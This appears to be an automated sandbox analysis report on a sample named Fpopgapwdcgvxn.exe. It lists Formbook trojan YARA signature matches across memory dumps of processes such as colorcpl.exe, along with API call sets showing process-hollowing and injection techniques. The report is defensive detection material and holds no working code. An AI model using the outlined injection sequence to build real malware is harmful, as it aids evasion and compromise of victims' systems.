Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: Fpopgapwdcgvxn.exe PID: 2268, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: colorcpl.exe PID: 5112, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR	Matched rule: ironshell_php author = Neo23x0 Yara BRG + customization by Stefan -dfate- Molls, description = Semi-Auto-generated - file ironshell.php.txt, hash = 8bfa2eeb8a3ff6afc619258e39fded56
Source: Process Memory Space: rundll32.exe PID: 6708, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: colorcpl.exe PID: 6928, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: chkdsk.exe PID: 6856, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: String function: 032B4B0C appears 357 times
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: String function: 032B6B54 appears 87 times
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: String function: 032B4980 appears 76 times
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: String function: 032B4788 appears 84 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 1E675130 appears 58 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 1E6AEA12 appears 86 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 1E62B970 appears 280 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 1E687E54 appears 102 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 1E6BF290 appears 105 times

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_0330CB08 InetIsOffline,CoInitialize,CoUninitialize,WinExec,CreateProcessAsUserW,NtQueueApcThread,ResumeThread,CloseHandle,CopyFileA,GetCurrentProcess,ExitProcess,	0_2_0330CB08
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_03308E64 GetModuleHandleW,GetProcAddress,NtOpenProcess,GetCurrentProcess,IsBadReadPtr,IsBadReadPtr,GetCurrentProcess,GetModuleHandleW,GetProcAddress,NtWriteVirtualMemory,GetModuleHandleW,GetProcAddress,RtlCreateUserThread,CloseHandle,	0_2_03308E64
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_0330B780 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_0330B780
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_0330B69C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_0330B69C
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032CFB88 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_032CFB88
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032CFD40 LoadLibraryExA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtProtectVirtualMemory,GetCurrentProcess,NtWriteVirtualMemory,GetCurrentProcess,NtFlushInstructionCache,FreeLibrary,	0_2_032CFD40
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_0330B614 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_0330B614
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032CFB86 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_032CFB86
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032D7E64 CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread,	0_2_032D7E64
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032CFCE0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,	0_2_032CFCE0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CA450 NtClose,	3_2_068CA450
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CA500 NtAllocateVirtualMemory,	3_2_068CA500
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CA3D0 NtReadFile,	3_2_068CA3D0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CA320 NtCreateFile,	3_2_068CA320
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CA4FA NtAllocateVirtualMemory,	3_2_068CA4FA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CA44A NtClose,	3_2_068CA44A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CA3CB NtReadFile,	3_2_068CA3CB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CA322 NtCreateFile,	3_2_068CA322
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CA373 NtCreateFile,	3_2_068CA373
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,	3_2_1E672EA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672E80 NtReadVirtualMemory,LdrInitializeThunk,	3_2_1E672E80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672F30 NtCreateSection,LdrInitializeThunk,	3_2_1E672F30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672FE0 NtCreateFile,LdrInitializeThunk,	3_2_1E672FE0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672FB0 NtResumeThread,LdrInitializeThunk,	3_2_1E672FB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672F90 NtProtectVirtualMemory,LdrInitializeThunk,	3_2_1E672F90
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_1E672C70
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672CA0 NtQueryInformationToken,LdrInitializeThunk,	3_2_1E672CA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672D30 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_1E672D30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672D10 NtMapViewOfSection,LdrInitializeThunk,	3_2_1E672D10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_1E672DF0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672DD0 NtDelayExecution,LdrInitializeThunk,	3_2_1E672DD0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672AD0 NtReadFile,LdrInitializeThunk,	3_2_1E672AD0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672B60 NtClose,LdrInitializeThunk,	3_2_1E672B60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_1E672BF0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E673D70 NtOpenThread,	3_2_1E673D70
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E673D10 NtOpenProcessToken,	3_2_1E673D10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6739B0 NtGetContextThread,	3_2_1E6739B0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6735C0 NtCreateMutant,	3_2_1E6735C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E673010 NtOpenDirectoryObject,	3_2_1E673010
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E673090 NtSetValueKey,	3_2_1E673090
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672E30 NtWriteVirtualMemory,	3_2_1E672E30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672EE0 NtQueueApcThread,	3_2_1E672EE0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672F60 NtCreateProcessEx,	3_2_1E672F60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672FA0 NtQuerySection,	3_2_1E672FA0
